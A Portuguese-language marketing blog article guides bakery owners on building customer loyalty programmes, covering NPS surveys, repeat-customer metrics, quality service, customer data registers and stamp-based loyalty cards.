CURIOSIDADES

Guia para elaborar programa de fidelização do clientes

Escrito por Massa Madre Blog
12 de novembro de 2018

Investir em programas de fidelização de clientes é uma estratégia fundamental de todo negócio. Essa etapa é tão essencial quanto conquistar uma nova clientela. Infelizmente, muitos empreendedores desconhecem a importância desse fator ou, então, negligenciam essa etapa e insistem em direcionar seu propósito exclusivamente para atrair novos clientes. Contudo, isso é um erro.

O mercado está sempre se renovando e se reinventando. A concorrência entre as empresas é uma realidade presente em todos os segmentos. Cada negócio busca ganhar vantagem competitiva sobre os demais, o que não chega a ser uma característica ruim. Pelo contrário, a competição ajuda no aprimoramento dos serviços e produtos oferecidos pelas empresas.

Esse fenômeno faz com que os consumidores tenham maior liberdade para comprar os produtos nas empresas que bem entenderem. Essa decisão é motivada por uma série de fatores. Os clientes podem analisar o produto e ver que são feitos com maior qualidade por determinado empreendimento, podem sentir que os administradores se preocupam mais com o bem-estar dos consumidores, que há um engajamento maior com certa empresa, dentre outros fatores.

O importante é que os gestores entendam que a adoção de programas que ajudam a manter clientes fiéis é um vetor que ajuda muito na lucratividade e produtividade de uma empresa. Além disso, diminui custos, ajuda a aumentar a boa reputação e a criar um relacionamento mais estreito com a clientela. Consequentemente, o negócio consegue sobreviver diante do mercado.

Neste artigo vamos apresentar tudo o que você precisa fazer para fidelizar seus clientes. Você vai saber o que é preciso ter e o que deve ser feito na sua padaria para que os clientes retornem sempre e se tornem fiéis à marca.

O que é a fidelização de clientes?

Fidelizar significa que uma empresa consegue tornar simples consumidores em seus clientes frequentes. Dessa forma, se você adota medidas para atrair o seu público-alvo, com isso, eles se sentirão bem atendidos e satisfeitos e, desse modo, terão vontade de sempre comprar com você.

Assim, a fidelização de cliente é um conjunto de medidas adotadas por um negócio que visam a fazer com que os seus consumidores continuem atraídos pelas mercadorias e pelo serviço oferecido naquele estabelecimento. Isso pode ser feito por meio de ações que tornam a mercadoria especial e atrativa ao gosto do consumidor.

O intuito é manter eles fiéis, ou seja, fazer com que eles continuem consumindo os produtos oferecidos pela sua empresa. Assim, da próxima vez que ele precisar consumir determinado produto, pensará de imediato no seu negócio e não ficará tentado a comprar no negócio concorrente.

Por exemplo, se você monta uma vitrine de padaria chamativa e criativa e com produtos deliciosos, as chances de um consumidor se sentir visualmente atraído e surpreso com a decoração são altas. Somado ao fato do bom atendimento, ele poderá se tornar um cliente frequente e vir a comprar pão ou doces todos os dias na mesma padaria. Isso é um indicativo que demonstra que o consumidor está satisfeito com a qualidade dos produtos e dos serviços que são oferecidos.

Qual a diferença entre fidelização e satisfação do cliente?

Contudo, a satisfação não significa necessariamente a fidelização. Apesar de ambos esses fatores serem confundidos por caminharem juntos, eles não são a mesma coisa.

Como vimos no tópico anterior, a fidelização é caracterizada por uma relação duradoura, de longo prazo entre o cliente e a empresa. Por outro lado, a satisfação é facilmente conquistada em uma simples venda, ou seja, o consumidor fica feliz e realizado com aquela aquisição, mas isso não significa que ele não vá comprar o mesmo produto em um negócio concorrente da próxima vez que tiver desejo ou necessidade.

Dessa forma, a satisfação é algo mais transitório, de curto prazo e está ligada ao prazer momentâneo.

Além disso, a fidelização exige um estudo de campo que ajuda a conhecer melhor o perfil do cliente — paladar, alimentos preferidos, horários que costumam consumir o produto etc. — bem como entender as suas necessidades e expectativas. Esse mecanismo ajuda a criar um laço entre empresa e consumidor, que abre portas para futuras pesquisas e permite construir um relacionamento e engajamento maior entre ambas as partes.

Logo, podemos deduzir que uma empresa pode oferecer a satisfação, sem que isso implique afirmar que ela consegue a fidelização daquele mesmo cliente. Entendeu?

Por que a fidelização de clientes é importante?

Primeiramente, é importante você entender que fidelizar os seus clientes é um passo tão importante quanto atraí-los até o seu negócio. Sem a construção de uma cartilha de clientes fiéis, o empresário não consegue se programar ao longo prazo, pois não sabe como será a demanda nas próximas semanas, meses e até anos.

Além disso, ele sofrerá para tomar a decisão de fazer investimentos em grandes quantias. A frequência dos consumidores seria apenas suficiente para que a empresa se manter em funcionamento, sem grandes perspectivas de aumento de lucros ou de expansão das suas operações e da sua rede.

Além disso, clientes fiéis tendem a pagar pela qualidade do produto sem prestar tanta atenção no seu preço. Isso significa que eles confiam tanto naquela mercadoria que não se importam em pagar uma quantia maior por ela. O valor pago corresponde não apenas ao produto, mas equivale também à segurança de fazer uma transação de um item de qualidade e à experiência de um pós-venda satisfatório.

Por que a fidelização deve ser uma prioridade na sua padaria?

Vamos mostrar, a seguir, as consequências e os benefícios da fidelização dos clientes. Acompanhe!

O cliente fiel faz compras de novo

Um cliente satisfeito volta várias vezes ao estabelecimento. Isso parece óbvio. Mas, afinal, qual é a explicação para isso? É simples. O consumidor não precisa mais ser convencido sobre a qualidade daquela mercadoria. Ele já testou, provou, experimentou por si próprio, e conhece bem as características do produto.

A conquista da confiança do consumidor é um dos principais passos de uma marca para alcançar o sucesso. Logo, clientes fidelizados compram mais. Além disso, eles podem pedir por novos produtos que não constam no seu estoque, sugerindo, assim, que você invista em mercadorias que tenham alta rotatividade e um bom fluxo de saída.

Analisando essa vantagem um pouco mais a fundo, o custo de aquisição de um cliente fidelizado é menor do que se formos analisar aquela pessoa que jamais comprou naquele estabelecimento.

As indicações são voluntárias e feitas com frequência

Fidelizar clientes é, dentre outras coisas, fornecer produtos de qualidade para os seus consumidores, de maneira que eles indiquem o seu negócio para outras pessoas, o famoso boca a boca.

A era da internet proporcionou a indicação imediata e em tempo real de um cliente a milhares de pessoas, que podem ser o seu público-alvo. Levando isso em consideração, um cliente satisfeito e fiel não vai hesitar em recomendar os seus produtos para outras pessoas que precisam de referências.

A parte mais cativante é que eles não fazem isso com a intenção de ganhar algo em troca. Pelo contrário, a grande maioria age assim simplesmente como uma forma de ajudar as outras pessoas que têm a necessidade de consumir o seu produto.

Essa maneira de compartilhar uma referência do passado de um cliente é algo valioso e exerce grande poder sobre os novos consumidores, pois, já sabem que podem confiar naquele produto ou serviço. Assim, a divulgação da marca para outras pessoas é um processo natural.

O feedback é mais honesto e preciso

Parar para dar opiniões sobre o atendimento ou o produto e compartilhar a experiência pode ser uma tarefa entediante para a maioria das pessoas.

Contudo, clientes fidelizados têm maior probabilidade de tirar um pequeno tempo do seu dia para dar feedbacks honestos e com as impressões que condizem realmente com a impressão que tiveram, tais como entrega do produto, atendimento, funcionalidades etc.

Eles entendem que fazem parte da cadeia de negócios daquela empresa e que a sua participação é importante para realizar melhorias nos serviços e demais fases operacionais da produção. Assim, a experiência dessas pessoas ajuda a empresa a conhecer suas falhas e o que pode ser melhorado.

Você pode testar o lançamento de novos produtos ou alimentos, usando esses clientes como uma espécie de termômetro que ajudarão você a medir as chances de sucesso daquele item com o restante do público-alvo.

O valor gasto por compra tende a ser maior

Uma pessoa que confia no serviço daquele estabelecimento tende a comprar uma maior quantidade de produtos e itens mais caros. Assim, além do aumento da frequência nas compras, o valor médio que os clientes gastam costuma crescer. Esse índice de compras recebe o nome de ticket médio.

Esse comportamento envolve o valor de compra que aumenta e tende a fazer com que os consumidores gastem mais dinheiro naquele local que confiam.

Logo, o ticket médio aumenta consideravelmente, o que significa maior lucratividade sem a necessidade de expandir a cartela de clientes. Esse fenômeno se equivaleria, então, a vários clientes comprando produtos com valores menores, de forma que o lucro final seria o mesmo que poucos clientes fiéis gastando mais nas mercadorias.

Assim, um custo baixo de aquisição somado a um ticket médio mais alto são a soma perfeita dos benefícios proporcionados por um cliente fiel.

A receita se torna previsível

Uma grande vantagem de criar clientela fiel é poder prever a quantidade de receita arrecadada no fim de uma semana ou de um mês, por exemplo. A quantia recolhida se torna previsível e a empresa saberá, aproximadamente, quanto vai lucrar.

A empresa chega a esse resultado por meio de estudos específicos como o histórico dos seus consumidores, a avaliação da frequência da compra, ticket médio dos clientes, quantidade de mercadorias que são vendidas etc.

Isso é importante porque com a quantia que ele espera arrecadar, o empresário pode se planejar em realizar investimentos em determinada área ou etapa de produção, a fim de melhorar ainda mais o serviço e o atendimento.

Como medir a fidelização dos clientes na sua empresa?

Uma vez que existem diversos motivos para investir na fidelização de clientes, também se torna importante avaliar se os esforços que estão sendo feitos, estão dando certo. Existem diversas métricas que ajudam a descobrir isso.

Um desses métodos é por meio da verificação dos resultados obtidos após a qualificação dos processos. Por meio do resultado, a empresa consegue analisar o que precisa ser melhorado ou ajustado de forma a alinhar completamente o serviço oferecido com as expectativas dos clientes.

Você sabe medir a fidelização de clientes? Vamos apresentar algumas maneiras práticas de fazer isso. Veja!

Net Promoter Score

Trata-se de uma maneira bem simples e certeira de conhecer melhor o nível de satisfação e de apego do cliente com sua marca. É uma pergunta simples, mas que pode ajudar a entender melhor como anda a sua estratégia de conquistar clientes fiéis. Você deve fazer a seguinte pergunta:

“De 0 a 10, o quanto você recomendaria a nossa empresa para um amigo seu?”

Entrevistas mais profundas

Realizar entrevistas com perguntas mais elaboradas para os clientes é uma maneira de descobrir o que faz eles serem apegados à sua marca, e entender quais características são mais prezadas pelo público. Você pode fazer isso por meio de convites que direcionam os consumidores às páginas com as suas pesquisas na internet.

Índice de clientes recorrentes

Clientes recorrentes ainda não são precisamente fiéis, mas têm um índice de consumo maior do que aqueles que simplesmente compram uma ou duas vezes.

Essa métrica pode ser obtida por meio de softwares que captam os dados dos consumidores e conseguem identificar quantas vezes ele comprou no seu estabelecimento.

Assim, torna-se possível saber qual é o índice de retorno de cada um deles e, assim, o índice de clientes recorrentes consegue ser facilmente descoberto. Isso é importante para saber se as estratégias que estão sendo utilizadas pela empresa estão dando certo ou não.

Indicação de outros clientes

A indicação é uma das melhores formas de saber se o consumidor se sentiu satisfeito com os seus produtos. Um cliente que comenta sobre o seu negócio para outras pessoas ajuda a entender como está sendo o seu poder de fidelização e, claro, também torna mais fácil saber se o seu empreendimento está indo no caminho certo.

O que fazer para fidelizar os clientes?

Manter um consumidor satisfeito ao longo prazo é um dos pilares de um negócio de sucesso.

Apesar de ser um fator complexo, não é impossível de ser alcançado. Para isso, é importante conhecer algumas ações que têm como alvo a preocupação com a relação mantida entre a empresa e o cliente.

Vamos apresentar algumas dicas para encantar os consumidores e para que eles se tornem seus clientes fiéis e promotores da sua marca. Confira!

Ofereça um atendimento de qualidade

Todo mundo gosta de ser bem atendido. O cliente não é diferente. Ele quer ser bem tratado durante todas as fases da sua compra.

Por isso, para oferecer um atendimento ao cliente de qualidade, é preciso treinar a equipe de vendedores para que eles saibam conversar com uma linguagem clara, direta e acessível ao consumidor, buscando entender as necessidades deles. Uma boa ideia é investir em cursos de capacitação e abordagem de clientes.

Ofereça um suporte impecável

Quando o cliente busca o suporte é porque algo está dando errado com o produto que ele adquiriu. Muitas vezes, os ânimos estão exaltados e ele só quer resolver o problema daquele item.

Nessa hora, a equipe de suporte precisa ser fria e atender de forma amigável e dinâmica, buscando solucionar o problema o mais rápido possível.

Tome atitudes levando em conta o feedback recebido

As críticas construtivas e sugestões recebidas diretamente dos clientes ajudam a ter uma visão de como andam as operações da empresa. A partir desse panorama, é mais fácil identificar as falhas que seus funcionários sequer tenham notado, e tomar medidas para solucionar esses problemas e prevenir futuras ocorrências.

Além disso, os clientes sentem que têm voz ativa e participação na empresa e se sentem valorizados.

Conheça o comportamento do cliente

Entender o seu público é essencial para definir os rumos do negócio. Desse modo, poderão ser adotadas campanhas de marketing mais especializadas e os produtos serão desenvolvidos visando atender especialmente as necessidades daqueles consumidores.

Para isso, conheça os hábitos do consumidor, entenda o que eles esperam com a sua marca e o que os leva a preferir o seu negócio em detrimento do seu concorrente, por exemplo.

Crie um relacionamento com o seu cliente

Um relacionamento dinâmico entre marca e seus clientes contribui para encantar e prender a atenção desse público. Você pode manter um cadastro contendo os dados — nome, e-mail, celular, WhatsApp etc. — de cada pessoa que compra na sua loja.

Assim, você pode ir se comunicando com frequência com eles, enviando e-mails, postando matérias com conteúdos relevantes e avisando quando tiver alguma promoção, por exemplo.

Também é uma boa ideia criar um perfil da marca nas redes sociais e interagir com os seguidores, de forma a aumentar o engajamento com eles.

Monitore as ações dos clientes

Ficar de olho nas atitudes que o cliente toma perante a marca ajuda a entender como anda o seu desempenho. Isso é feito principalmente por meio de métricas tecnológicas que ajudam a monitorar o passo a passo do consumidor no seu site.

Você pode descobrir quantas vezes ele visitou a sua página, se criou um carrinho de compras, se baixou algum e-book ou assinou a newsletter, por exemplo.

A partir desses dados, é mais fácil conhecer as necessidades do público e o que ele busca na sua marca. Assim, você pode adotar medidas que ajudam o cliente a dar o passo final, que é a compra. E, claro, você também pode descobrir falhas que podem estar dificultando as vendas.

Ouça o que o cliente diz

Escutar o cliente é essencial para implementar melhorias e identificar falhas nos serviços e produtos. Além disso, com uma estratégia de fidelização, é importante você ter conhecimento sobre o que ele está pensando sobre a sua marca. Busque saber, por exemplo, se o seu atendimento agrada o público, se eles estão satisfeitos com o seu negócio, eles querem fazer alguma reclamação ou deixar alguma sugestão etc.

Quais são os aspectos que caracterizam um bom atendimento ao cliente?

Já mencionamos que um atendimento de qualidade é a chave para fidelizar clientes. Mas como isso é feito?

Pois bem, uma ideia é investir em cartões fidelidade. Eles funcionam da seguinte maneira: a cada ponto recebido por ter comprado um produto, o cliente recebe um carimbo e ganha uma espécie de saldo que, no final, poderá resgatar e trocar por prêmios na padaria.

Além disso, existem outras maneiras de deixar os clientes satisfeitos, tais como:

O que podemos aprender com essa estratégia?

A fidelização dos clientes não é apenas uma oportunidade. Mais do que conquistar novos consumidores para o seu empreendimento, os empresários devem direcionar o seu foco para manter os clientes fiéis. A concorrência do mercado atual tornou esse fenômeno um fator fundamental para as empresas que desejam sobreviver no mercado.

Fidelizar clientes é conquistar fãs que ajudam a promover a sua marca de maneira gratuita. Esses clientes divulgam o seu serviço e produto de forma honesta para atrair novos consumidores. E o melhor de tudo, é que esse processo é muito mais barato do que conquistar um público novo. Isso acontece porque você já investiu tempo criando um relacionamento com seu cliente, já recolheu dados sobre ele e conhece exatamente aquilo que ele precisa.

Os programas de fidelização de clientes retratam a filosofia da empresa perante os seus consumidores. Grandes negócios mantêm o hábito de colocar o público sempre em primeiro lugar e adotam o compromisso de oferecer a melhor satisfação possível. Isso significa que os seus empresários têm uma visão sobre o futuro e sabem como criar laços de lealdade e fidelidade.

Por isso, conheça bem as estratégias aqui mencionadas e coloque em prática tudo o que aprendeu. Volte os seus esforços para oferecer uma experiência inesquecível para os seus clientes.

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